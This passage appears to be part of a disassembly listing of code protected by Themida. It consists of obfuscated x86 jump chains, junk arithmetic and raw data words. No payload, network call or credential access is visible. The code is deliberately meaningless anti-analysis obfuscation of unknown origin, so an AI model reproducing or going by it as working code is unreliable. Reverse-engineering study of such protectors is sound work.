		db 0BEh, 21h, 0Bh
		dd 27E902F4h, 0FF000002h, 815D2434h, 4C4h, 98BB5300h, 0E92A8757h
		dd 655h, 0BD242C89h, 572E1FEFh,	0ECAFE9h
		db 0
; ---------------------------------------------------------------------------

loc_500635:				; CODE XREF: Themida_:005006A3j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5129DA
; ---------------------------------------------------------------------------

loc_500646:				; CODE XREF: Themida_:0050008Fj
		push	esi
		mov	esi, 5D9B50C8h
		shr	esi, 2
		xor	esi, 0F36A32Fh
		sub	eax, esi
		pop	esi
		and	eax, 7EBF4C5Bh
		push	esi
		mov	esi, 4AB6FF8h
		neg	esi
		shr	esi, 3
		sub	esi, 3F053456h
		and	esi, 33283B0Eh
		jmp	loc_50A6EB
; ---------------------------------------------------------------------------

loc_500679:				; CODE XREF: Themida_:00501905j
		mov	ebp, 576E19ACh
		jmp	loc_503657
; ---------------------------------------------------------------------------
		db 5Fh
		dd 12B95157h, 812D2326h, 0AA3157C1h, 0CA35E96Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_500696:				; CODE XREF: Themida_:0050BEFCj
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		jmp	loc_500635
; ---------------------------------------------------------------------------
aMhU		db 'h&u',0
		align 2
		dw 0C89h
		dd 4C2B524h, 0E93304C9h, 6555h,	243C8B58h, 4C481h, 64680000h
		dd 0E9000012h, 5054h, 4C6815Eh,	0E9000000h, 80C5h
; ---------------------------------------------------------------------------

loc_5006DC:				; CODE XREF: Themida_:00510A0Dj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_501FE0
; ---------------------------------------------------------------------------

loc_500701:				; CODE XREF: Themida_:00510D97j
		push	esi
		push	edi
		mov	edi, 238A3FB0h
		mov	esi, edi
		pop	edi
		jmp	loc_504C61
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA810000h, 4, 5C241487h, 89242C89h,	6BF0E9E5h
		dd 5A660000h, 93ED80h, 2434FFE8h, 10FB2E9h, 0C8B6600h
		dd 8F26824h, 0ACE90000h, 8100004Ah, 342A44C7h, 0CD8DE971h
		dd 56520000h, 69AB6852h, 815A6429h, 0AD4263C2h,	0F0F2811Ch
		dd 0E923D82Fh, 0F10Fh
; ---------------------------------------------------------------------------

loc_50076C:				; CODE XREF: Themida_:00504CAAj
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		sub	ebp, 736441D2h
		add	ebp, esi
		jmp	loc_502EA9
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 89E9525Dh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_500793:				; CODE XREF: Themida_:0050A55Fj
		push	400h
		pop	ecx
		and	eax, ecx
		mov	ecx, [esp]
		push	728h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_505822
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF062h
; ---------------------------------------------------------------------------

loc_5007B4:				; CODE XREF: Themida_:00500C78j
		add	esp, 4
		dec	edx
		shl	edx, 7
		jmp	loc_5048BA
; ---------------------------------------------------------------------------
		db 83h
		dd 0C68104C4h, 4, 5CF968h, 242C8900h, 4945E9h, 248B6600h
		dd 0F034E924h, 0BE56FFFFh, 154B5876h, 1EE81h, 8CE90000h
		dd 81000126h, 21577DC2h, 0E9D2F76Bh, 0C77Eh
; ---------------------------------------------------------------------------

loc_500800:				; CODE XREF: Themida_:0050042Cj
		dec	esi
		or	esi, 5BC54A62h
		xor	esi, 7BF55FF6h
		push	edi
		jmp	loc_50A98F
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5702EFh, 5F042474h, 5C24048Fh, 240C8966h,	10CB6E9h
		db 0
; ---------------------------------------------------------------------------

loc_500829:				; CODE XREF: Themida_:0050A29Cj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_509FCF
; ---------------------------------------------------------------------------
		dw 0F329h
		dd 6BC6815Eh, 12EB039h,	6BEE81DEh, 5B2EB039h, 5FCDEB81h
		dd 0EB816003h, 1489689Fh, 0D7E9F301h, 4F0000E2h, 0C3C4E9h
		dd 242C8B00h, 0F228E9h,	24248B00h, 66E1F766h, 664DD068h
		dd 66241489h, 93E99C50h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_500883:				; CODE XREF: Themida_:00501F87j
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	3833h
		push	esp
		pop	dword ptr [esp]
		push	ecx
		jmp	loc_50C895
; ---------------------------------------------------------------------------
		dd 0A9BBF681h, 0F72960C2h, 5F59575Eh, 98E1815Eh, 0E97CA672h
		dd 94h
; ---------------------------------------------------------------------------

loc_5008B0:				; CODE XREF: Themida_:005133EFj
		add	ebp, 0D5F7375h
		sub	esp, 4
		jmp	loc_506117
; ---------------------------------------------------------------------------
		db 59h,	2Ch, 4Ah
		dd 0D828622Ch, 4A046204h, 0A52CE9h, 7E5C000h, 3095C580h
		dd 240C8BECh, 4C481h, 0EDE90000h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5008E7:				; CODE XREF: Themida_:00505A6Ej
		mov	edx, 42653141h
		add	edi, edx
		jmp	loc_502C57
; ---------------------------------------------------------------------------

loc_5008F3:				; CODE XREF: Themida_:00500E12j
		add	esi, 3CA204DCh
		mov	edi, [esp]
		add	esp, 4
		add	esi, ecx
		add	esi, 2BAC5E99h
		pop	ecx
		xor	esi, [esp]
		jmp	loc_50192A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 8B24048Fh, 36682424h, 89000025h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_50E6FD
; ---------------------------------------------------------------------------
		db 89h
		dd 39E95DEBh, 83000126h, 0E95004C4h, 0FFFFEF87h
; ---------------------------------------------------------------------------

loc_50093C:				; CODE XREF: Themida_:0050279Dj
		xor	ebp, [esp]
		jmp	loc_50E067
; ---------------------------------------------------------------------------
		dd 333468h, 0C76BE900h,	34FF0000h
		db 24h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_506CE0
; ---------------------------------------------------------------------------

loc_500985:				; CODE XREF: Themida_:005095AEj
		push	dx
		push	bx
		mov	bh, 0F9h
		inc	bh
		and	bh, 85h
		inc	bh
		sub	bh, 4Eh
		sub	bh, 66h
		mov	dh, bh
		pop	bx
		sub	bl, 0E4h
		sub	bl, 8Ah
		sub	bl, 0A2h
		sub	bl, dh
		add	bl, 0A2h
		add	bl, 8Ah
		push	88Fh
		mov	[esp], eax
		mov	al, 0E4h
		sub	bl, 0EEh
		add	bl, al
		add	bl, 0EEh
		jmp	loc_503290
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4ED81h, 2C870000h, 14895C24h,	34FF5424h
		dd 4D17E924h, 665A0000h, 660FFF05h, 6601732Dh, 20E3E952h
		dd 77FF0000h, 59669D1Ch, 9C2414D3h, 0FFEE15E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_500A01:				; CODE XREF: Themida_:005144BFj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_50AF21
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 30h
		dd 109812Eh, 30C681FEh,	8B09812Eh, 9268243Ch, 89000036h
		dd 0E0892404h, 405h, 40500h, 1FE90000h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_500A3F:				; CODE XREF: Themida_:0050117Dj
		add	edi, ebx
		jmp	loc_50C0C8
; ---------------------------------------------------------------------------

loc_500A46:				; CODE XREF: Themida_:0050CE13j
		sub	edx, 716174BCh
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	5F3Dh
		mov	[esp], eax
		jmp	loc_50E9D6
; ---------------------------------------------------------------------------

loc_500A62:				; CODE XREF: Themida_:0050A417j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	49DDh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_50AF02
; ---------------------------------------------------------------------------

loc_500A8C:				; CODE XREF: Themida_:00512499j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	22214676h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	ebp, 0C64525Ch
		neg	ebp
		jmp	loc_5128D1
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4ED8300h, 5C242C87h, 0B9240C89h, 0B58384D0h, 0C8BC801h
		dd 0E1895124h, 4C181h, 0EBE90000h
		db 42h,	1, 0
; ---------------------------------------------------------------------------

loc_500ADB:				; CODE XREF: Themida_:00510997j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		push	0EA6h
		jmp	loc_507614
; ---------------------------------------------------------------------------

loc_500AF4:				; CODE XREF: Themida_:0050C137j
		mov	edi, 0D2C50A5h
		sub	ebx, edi
		pop	edi
		add	ebx, 7FFA3BE8h
		add	ebx, eax
		sub	ebx, 7FFA3BE8h
		add	ebx, 0D2C50A5h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4EFE03C3h
		shl	ebp, 3
		push	edi
		push	ecx
		mov	ecx, 0EA25E64h
		mov	edi, 76116D7Eh
		sub	edi, ecx
		pop	ecx
		jmp	loc_50BC07
; ---------------------------------------------------------------------------
		dw 0DFE9h
		dd 8BFFFFECh, 0C4832404h, 0CF90E904h, 0C3810000h, 2FEE6B1Ch
		dd 0E951F301h, 97D4h
; ---------------------------------------------------------------------------

loc_500B50:				; CODE XREF: Themida_:00502DEEj
		pop	edx
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_50D7A1
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FAE9C829h, 5C00006Dh, 160D68h, 60E8E900h, 0C890000h
		dd 4DD0B924h, 0BA52576Ch, 2A050A3Dh, 815AD121h,	666BA5E1h
		dd 6E9C13Fh, 0E94BD987h, 1138h,	33BE68h, 243C8900h, 2BFh
		dd 8BFB0100h, 8951243Ch, 4C181E1h, 0E9000000h, 0BD26h
		dd 8AACE951h, 8B5A0000h, 0C4812404h, 4,	0E8284004h, 0EA17E9h
		dd 24148900h, 4EC81h, 95E90000h, 49000051h, 730DE9h, 0C0596600h
		dd 0B05007E9h, 66E6E94Bh, 0E95F0000h, 0D2E9h
; ---------------------------------------------------------------------------

loc_500BF4:				; CODE XREF: Themida_:005033D1j
		add	esp, 4
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0FFFFF01Ah, 4C7815Fh, 83000000h,	3C3302EFh
		dd 243C3124h, 5C243C33h, 242C8966h, 241C3166h, 241C3366h
		dd 241C3166h, 0E9EB8766h, 1201Bh, 24148B66h, 0E87AE9h
		db 0
; ---------------------------------------------------------------------------

loc_500C39:				; CODE XREF: Themida_:0050E44Aj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_511E27
; ---------------------------------------------------------------------------

loc_500C48:				; CODE XREF: Themida_:00500545j
		mov	ebx, 346068BAh
		jmp	loc_50E1FB
; ---------------------------------------------------------------------------

loc_500C52:				; CODE XREF: Themida_:0050FD0Dj
		mov	ebp, 87CC4EDCh
		xor	edx, ebp
		pop	ebp
		or	ecx, edx
		jmp	loc_510C23
; ---------------------------------------------------------------------------

loc_500C61:				; CODE XREF: Themida_:0050EC41j
		pop	esp
		push	edi
		jmp	loc_5030D6
; ---------------------------------------------------------------------------
		dd 0E95FFD89h, 33A5h
; ---------------------------------------------------------------------------

loc_500C70:				; CODE XREF: Themida_:00509FB5j
		push	58CB232Fh
		mov	edx, [esp]
		jmp	loc_5007B4
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 8
		dd 1C381h, 0FF530000h, 0FEE92404h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_500C8F:				; CODE XREF: Themida_:0050377Dj
		pop	esi
		push	ecx
		push	0C1Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		mov	esi, 5DFD71B8h
		neg	esi
		inc	esi
		jmp	loc_50A4D3
; ---------------------------------------------------------------------------

loc_500CAF:				; CODE XREF: Themida_:0051299Cj
		mov	esi, [esp]
		add	esp, 4
		add	[esp+4], edx
		pop	edx
		mov	eax, [esp]
		push	ebx
		jmp	loc_5069EC
; ---------------------------------------------------------------------------
		db 89h
		dd 65E9241Ch, 280000EFh, 0B55166C8h, 0E95504A3h, 0FFFFF5EFh
; ---------------------------------------------------------------------------

loc_500CD8:				; CODE XREF: Themida_:005130B4j
		sub	ebp, 55945AC7h
		pop	edi
		push	edi
		mov	edi, 46E3C3EFh
		xor	ebp, edi
		jmp	loc_502D22
; ---------------------------------------------------------------------------

loc_500CEC:				; CODE XREF: Themida_:0050B584j
		mov	[esp], ecx
		mov	edx, [esp]
		jmp	loc_50865E
; ---------------------------------------------------------------------------
		db 0B9h
		dd 43E2376Dh, 8159C889h, 0AB5271EAh, 81C2290Ah,	0AB5271C2h
		dd 24048B0Ah, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0C281DA01h
		dd 43E2376Dh, 88C58851h, 240C8B2Ah, 0FF04C483h,	148B2434h
		dd 0B94EE924h, 0C3290000h, 2372B951h, 0E1812CB1h, 7A3B3412h
		dd 69A9E181h, 0E9811DB9h, 0CB71ACABh, 274E9h, 0C896600h
		dd 0B60F6624h, 9C5166C8h, 0FFEAA9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_500D6D:				; CODE XREF: Themida_:0050DD20j
		pop	edi
		or	edi, 6625243Ah
		jmp	loc_509B98
; ---------------------------------------------------------------------------

loc_500D79:				; CODE XREF: Themida_:0050CC6Bj
		push	dword ptr [esp+4]
		jmp	loc_50E560
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 9B25C87h, 0C104E3C1h, 0ADE903E3h, 6600001Fh,	0ECB050h
		dd 77ADE9C6h, 0E1C10000h, 0E9814107h, 0E665FC9Fh, 0EFE9C889h
		dd 8B000039h, 0C481240Ch, 4, 8108E9C1h,	0C456EAC9h, 0D0E98110h
		dd 89882A4Fh, 0E36859C8h, 89000066h, 0B4BF243Ch, 56533E1Ah
		dd 2E45A4BEh, 0DEF74E44h, 8C4E9h, 24148B00h, 55CBE9h
		db 0
; ---------------------------------------------------------------------------

loc_500DED:				; CODE XREF: Themida_:005077BDj
		pop	ecx
		jmp	loc_512ED1
; ---------------------------------------------------------------------------

loc_500DF3:				; CODE XREF: Themida_:004FFD46j
		push	ebx
		push	ecx
		jmp	loc_509372
; ---------------------------------------------------------------------------

loc_500DFA:				; CODE XREF: Themida_:0050B048j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_50DA56
; ---------------------------------------------------------------------------

loc_500E05:				; CODE XREF: Themida_:005002E4j
		mov	edi, 2BAC5E99h
		sub	esi, 3CA204DCh
		sub	esi, edi
		jmp	loc_5008F3
; ---------------------------------------------------------------------------

loc_500E17:				; CODE XREF: Themida_:004FFA5Dj
		sub	edx, esi
		pop	esi
		add	esi, 5DAD0CEFh
		add	esi, edx
		sub	esi, 5DAD0CEFh
		mov	edx, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	3D12h
		mov	[esp], ebp
		push	2F81h
		mov	[esp], eax
		push	ebx
		push	4D93h
		mov	[esp], ebp
		mov	ebp, 19F55F83h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5FA6607Eh
		mov	ebx, 3EFD5009h
		shr	ebx, 3
		jmp	loc_501C84
; ---------------------------------------------------------------------------

loc_500E73:				; CODE XREF: Themida_:0051257Fj
		push	dword ptr [edi+1Ch]
		push	esi
		push	ebp
		push	257E3F19h
		pop	ebp
		shr	ebp, 7
		push	ecx
		mov	ecx, 66A7496Bh
		and	ecx, 0E2A15C7h
		dec	ecx
		push	6113h
		mov	[esp], ebp
		mov	ebp, 0F7E4001h
		dec	ebp
		sub	ebp, 7FEC7099h
		shl	ebp, 2
		jmp	loc_51152D
; ---------------------------------------------------------------------------

loc_500EAA:				; CODE XREF: Themida_:0050FA34j
		dec	ecx
		jmp	loc_5143BB
; ---------------------------------------------------------------------------

loc_500EB0:				; CODE XREF: Themida_:0050586Bj
		push	2BC8h
		mov	[esp], esi
		push	eax
		mov	eax, 11101E1Bh
		xor	eax, 212C6BFAh
		shl	eax, 3
		dec	eax
		shl	eax, 4
		jmp	loc_5067AD
; ---------------------------------------------------------------------------
		db 0BEh
		dd 63EA382Bh, 815EF331h, 7B2FF3h, 8BDE2977h, 0C483241Ch
		dd 24348704h, 19D0E9h
		db 0
; ---------------------------------------------------------------------------

loc_500EED:				; CODE XREF: Themida_:00509A27j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	dl, 0D5h
		sub	bl, dl
		pop	edx
		sub	bl, 0D2h
		sub	bl, al
		add	bl, 0D2h
		push	eax
		mov	ah, 33h
		jmp	loc_500FF6
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 4244401h,	0FFF797E9h, 4C483FFh, 0E9515066h, 88C2h
; ---------------------------------------------------------------------------

loc_500F30:				; CODE XREF: Themida_:00502115j
					; Themida_:00503860j
		push	ebx
		push	640Dh
		mov	[esp], ebx
		push	edi
		mov	edi, 2F93B67h
		mov	ebx, 75F80703h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50DD72
; ---------------------------------------------------------------------------

loc_500F51:				; CODE XREF: Themida_:00513D87j
		add	ebp, 2EA01D42h
		sub	ebp, edi
		sub	ebp, 2EA01D42h
		jmp	loc_503C6D
; ---------------------------------------------------------------------------

loc_500F64:				; CODE XREF: Themida_:0050B9DFj
		add	esp, 4
		shl	ebx, 8
		jmp	loc_511232
; ---------------------------------------------------------------------------
		dw 1BBh
		dd 1000000h, 0B942E9D9h, 0E7C10000h, 0D7F74F05h, 814FDFF7h
		dd 0F9B56EEFh, 0A0D4E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_500F92:				; CODE XREF: Themida_:00504DF1j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_50F1C1
; ---------------------------------------------------------------------------
		db 89h
		dd 0F9E92414h, 8B00009Ah, 31662424h, 0E99C2404h, 0FFFFE866h
		dd 24048B66h, 41626856h, 0EC830000h, 24248904h,	4240483h
		dd 6824048Fh, 32Ah, 84E6E9h, 59CB0100h,	2E685657h, 89000032h
		dd 65B9240Ch, 0BE5F641Bh, 9C699441h, 6047E9h, 48B6600h
		dd 27FFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_500FF6:				; CODE XREF: Themida_:00500F11j
		xor	ah, 47h
		add	ah, 22h
		jmp	loc_511C54
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 8104C483h, 452221F5h, 0EB815A3Bh, 629810A5h,	0BD55EB29h
		dd 629810A5h, 5D5DEB01h, 31241C33h, 1C33241Ch, 24248B24h
		dd 0E9240C89h, 0FFFFE7E2h, 64BEEF81h, 0FD89003Eh, 0E9243C8Bh
		dd 0AD3Eh, 0BEF8159h, 5561742Fh, 0FF2F5DBDh, 5DEF29D6h
		dd 0C4E6E9h, 6E3C100h, 0E906EBC1h, 109D9h, 42Dh, 74FF5000h
		dd 8F580424h, 895C2404h, 0E2892414h, 4EC81h, 34890000h
		dd 4BE24h, 0F2010000h, 0D168575Eh, 89000024h, 0E956240Ch
		dd 0B3B5h, 0CD73E955h, 0C6810000h, 7D4901ECh, 6366BB53h
		dd 0DE013714h, 0A22CE9h, 24342800h, 8324348Ah, 0F68002C4h
		dd 38E68006h, 0C452E9h,	0E9DA2900h, 813Eh
; ---------------------------------------------------------------------------

loc_5010CC:				; CODE XREF: Themida_:00500037j
		mov	[esp], edi
		mov	edi, 401E09A1h
		jmp	loc_50BC85
; ---------------------------------------------------------------------------

loc_5010D9:				; CODE XREF: Themida_:0050C4C8j
		pop	eax
		jmp	loc_501886
; ---------------------------------------------------------------------------
		db 52h
		dd 4F33DDBAh, 2BC2816Ah, 9F6CEF7h, 0C7815AD7h, 78E5129Eh
		dd 43E9F831h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5010FB:				; CODE XREF: Themida_:00509B69j
		dec	edi
		xchg	eax, edi
		add	eax, 154E1378h
		xor	eax, 0F85A2B35h
		jmp	loc_50DA33
; ---------------------------------------------------------------------------

loc_50110C:				; CODE XREF: Themida_:00505664j
		mov	[esp], ebp
		push	76A763C3h
		jmp	loc_504EBA
; ---------------------------------------------------------------------------

loc_501119:				; CODE XREF: Themida_:00514A31j
		sub	ebx, 586F6CB3h
		add	ebx, 35DE6EFCh
		add	ebx, edi
		sub	ebx, 35DE6EFCh
		add	ebx, 586F6CB3h
		add	ebx, 44717930h
		push	ebp
		mov	ebp, 159C7D4Bh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_513133
; ---------------------------------------------------------------------------
		db 31h
		dd 0EFC15BDFh, 47DFF703h, 0DF22E9h, 0C4835A00h,	0E6B8E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50115E:				; CODE XREF: Themida_:005005C0j
		mov	esi, 6E7D6FA9h
		mov	ebp, esi
		pop	esi
		jmp	loc_508E0B
; ---------------------------------------------------------------------------

loc_50116B:				; CODE XREF: Themida_:00512E7Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, 0DF66EF49h
		add	edi, 31111DEEh
		jmp	loc_500A3F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 48B6624h, 4EC8124h, 89000000h, 0A8E9243Ch, 31000011h
		dd 45E9242Ch, 31000028h, 0C2835FFAh, 0F2FAE901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5011AA:				; CODE XREF: Themida_:0050DFF0j
		add	esi, 39991B74h
		push	ecx
		jmp	loc_505425
; ---------------------------------------------------------------------------
		dw 0FB25h
		dd 5273486Dh, 7C4F2ABAh, 5AD0014Dh, 0CD67E9h, 24148900h
		dd 90365C68h, 2434FF59h, 4C4835Ah, 19ACCA81h, 0EA81069Eh
		dd 4D32267Fh, 20F0E94Ah
		db 1, 0
; ---------------------------------------------------------------------------

loc_5011EA:				; CODE XREF: Themida_:0050FB23j
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_50800B
; ---------------------------------------------------------------------------

loc_5011F8:				; CODE XREF: Themida_:005072B2j
		xor	ebp, esi
		pop	esi
		sub	edx, 0CB965A5h
		jmp	loc_506ED7
; ---------------------------------------------------------------------------

loc_501206:				; CODE XREF: Themida_:00508ECAj
		pop	esp
		jmp	loc_50A68B
; ---------------------------------------------------------------------------
aXzaPa		db 'XZp',0
		db 0EBh, 66h, 50h
		dd 0C328C5B0h, 30595866h, 2434FFD8h, 81241C8Bh,	4C4h, 0E3895300h
		dd 4EC81h, 3C890000h, 6FFBF24h,	8BE9761Bh, 5800000Fh, 2F2DF381h
		dd 0F3811438h, 4B8E0763h, 5534E9h
		db 0
; ---------------------------------------------------------------------------

loc_501255:				; CODE XREF: Themida_:00514526j
		add	ebp, edi
		jmp	loc_4FF849
; ---------------------------------------------------------------------------
		dd 240C8B66h, 83E28952h, 1C8904ECh, 28CB6824h, 3C890000h
		dd 43ABE924h, 0D1000000h, 0D941E95Ah, 0B4500000h, 0E9DCF6DAh
		dd 0F3F6h, 835FF901h, 0C8704C1h, 0C6815C24h, 4,	61168h
		dd 243C8900h, 2BFh, 5FFE0100h, 31243433h, 34332434h, 24248B24h
		dd 9C243CD3h, 0FFE559E9h, 1C8B57FFh, 4C48124h, 0E9000000h
		dd 7F50h, 7DB8C681h, 0FE295599h, 7DB8EE81h, 2E95599h, 680000D8h
		dd 2677h, 97F0E9h, 80C78100h, 0E9AE4FC4h, 0FFFFFF94h
; ---------------------------------------------------------------------------

loc_5012F4:				; CODE XREF: Themida_:00507589j
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_510B67
; ---------------------------------------------------------------------------

loc_501301:				; CODE XREF: Themida_:0050A13Cj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5114F6
; ---------------------------------------------------------------------------

loc_50130C:				; CODE XREF: Themida_:0050FFB0j
		jz	loc_5100F2
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5102B9
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 123A2E9h, 4C48300h, 2A2C9A04h, 0F028832Ch
		dd 2A048304h, 0F678B551h, 0EF35E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_501346:				; CODE XREF: Themida_:0050F95Fj
		mov	[esp], ecx
		jmp	loc_50602C
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 8702EF83h,	665C243Ch, 0E9240C89h, 0CA38h
		dd 4BDh, 5DEF0100h, 4EF81h, 3C870000h, 8F545C24h, 0E9562404h
		dd 0B9E1h, 0E904C483h, 2A5Fh, 0B7535A66h, 0F6DFF6E3h, 80D7F6D7h
		dd 0F8000DC7h, 0ABA6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50139E:				; CODE XREF: Themida_:005064E4j
		pop	edx
		shr	ebp, 5
		add	ebp, 0FB5838A4h
		push	eax
		mov	eax, 3FE32F46h
		add	edx, 2EAA0207h
		sub	edx, eax
		jmp	loc_50CBAC
; ---------------------------------------------------------------------------
		db 66h
		dd 66306705h, 5024148Bh, 3EE868h, 24248900h, 4240483h
		dd 40558h, 0C0830000h, 24048702h, 0E924248Bh, 21E0h
; ---------------------------------------------------------------------------

loc_5013E4:				; CODE XREF: Themida_:0051141Cj
		mov	eax, 30h
		add	eax, 4A7D18B4h
		jmp	loc_506231
; ---------------------------------------------------------------------------
		db 53h
		dd 414E6BBh, 5BD8013Dh,	0E62DD001h, 2D3D0414h, 32F761B4h
		dd 8904EC83h, 0FFB9240Ch, 0F7613508h, 0E95650D1h, 596Fh
		dd 667DBF57h, 0FE903EBh, 5F00012Ch, 5EF3315Ah, 34FFDD01h
		dd 89525B24h, 4C281E2h,	83000000h, 148704C2h, 422FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_501446:				; CODE XREF: Themida_:00514731j
		add	edx, 0FFFFFFFFh
		shl	edx, 6
		jmp	loc_50AFA3
; ---------------------------------------------------------------------------

loc_501454:				; CODE XREF: Themida_:0050B9F5j
		sub	ebp, 4B654446h
		jmp	loc_50DB68
; ---------------------------------------------------------------------------
		db 0B1h
		dd 58C128BDh, 8064F180h, 0E9C00EF1h, 1119E902h,	4B80000h
		dd 1000000h, 0FF40E9C1h, 0EC810000h, 4,	0FF241C89h, 8B042474h
		dd 0C483241Ch, 24048F04h, 6624248Bh, 9C240401h,	0FFE375E9h
		dd 0CAB850FFh, 0E975134Dh, 10F4Ah
; ---------------------------------------------------------------------------

loc_5014AC:				; CODE XREF: Themida_:0050A4EFj
		mov	[esp], esi
		mov	esi, 78971B46h
		jmp	loc_50DBBF
; ---------------------------------------------------------------------------

loc_5014B9:				; CODE XREF: Themida_:00509C79j
		add	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 32D46F16h
		dec	ecx
		xor	ecx, 20D080Ch
		jmp	loc_507636
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 30533C84h, 64CCBD55h, 0EA317111h, 5AD7895Dh,	0FFEAFAE9h
		dd 665166FFh, 662A9DB9h, 5966C801h, 2235E952h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5014F6:				; CODE XREF: Themida_:0050730Aj
		push	eax
		mov	eax, 51A64571h
		and	eax, 5D203FD9h
		xor	eax, 511A7BA6h
		jmp	loc_51291A
; ---------------------------------------------------------------------------

loc_50150B:				; CODE XREF: Themida_:005049F2j
		sub	ecx, 0FFFFFFFFh
		jmp	loc_502128
; ---------------------------------------------------------------------------

loc_501513:				; CODE XREF: Themida_:00509777j
		push	esi
		mov	esi, 1
		jmp	loc_50A564
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B9240C89h, 0BE11826h, 347268h, 240C8900h, 592414F7h
		dd 8673E981h, 0C801B880h, 2434FF59h, 5324348Bh,	0C381E389h
		dd 4, 4C381h, 0E8E90000h, 5DFFFFEAh, 31241C33h,	1C33241Ch
		dd 1C895C24h, 81E38924h, 4C3h, 4BF5700h, 0E9000000h, 0F820h
		dd 240C8B66h, 68E78957h, 6A16h,	0FFFC3CE9h, 242C8BFFh
		dd 8EF8E9h, 242C8900h, 5124B951h, 81490A77h, 0A33CDAE9h
		dd 26C18149h, 896DE639h, 0E5C159CDh, 31C53108h,	0F7C531E8h
		dd 555295D0h, 0F02835BDh, 6568BA59h, 0EA01F299h, 81242C8Bh
